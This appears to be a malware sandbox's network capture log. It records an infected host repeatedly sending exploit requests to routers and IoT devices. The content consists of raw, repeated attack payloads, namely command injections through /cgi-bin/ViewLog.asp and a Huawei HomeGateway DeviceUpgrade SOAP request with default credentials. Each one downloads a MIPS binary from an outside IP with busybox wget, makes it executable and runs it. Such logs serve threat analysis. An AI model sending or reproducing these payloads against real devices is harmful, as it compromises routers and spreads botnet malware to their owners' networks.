Nov 23, 2023 05:17:45.766315937 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:51.654253006 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:03.174221039 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
494	192.168.2.13	55518	85.10.89.47	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:40.766582966 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:41.006901026 CET	276	IN	HTTP/1.1 404 Not Found Content-Type: text/html Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS Access-Control-Allow-Headers: content-type, accept Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
495	192.168.2.13	48464	31.136.103.110	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:40.949402094 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:41.510363102 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:42.630269051 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:44.998251915 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:49.606331110 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:58.566224098 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:18.278289080 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
496	192.168.2.13	36504	94.69.201.210	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:40.979417086 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
497	192.168.2.13	37416	31.136.86.159	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:41.119169950 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:44.230262995 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:50.374241114 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:02.406205893 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
498	192.168.2.13	38024	156.241.107.150	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:41.143852949 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:17:43.110311031 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:17:45.510277987 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:17:50.374222040 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
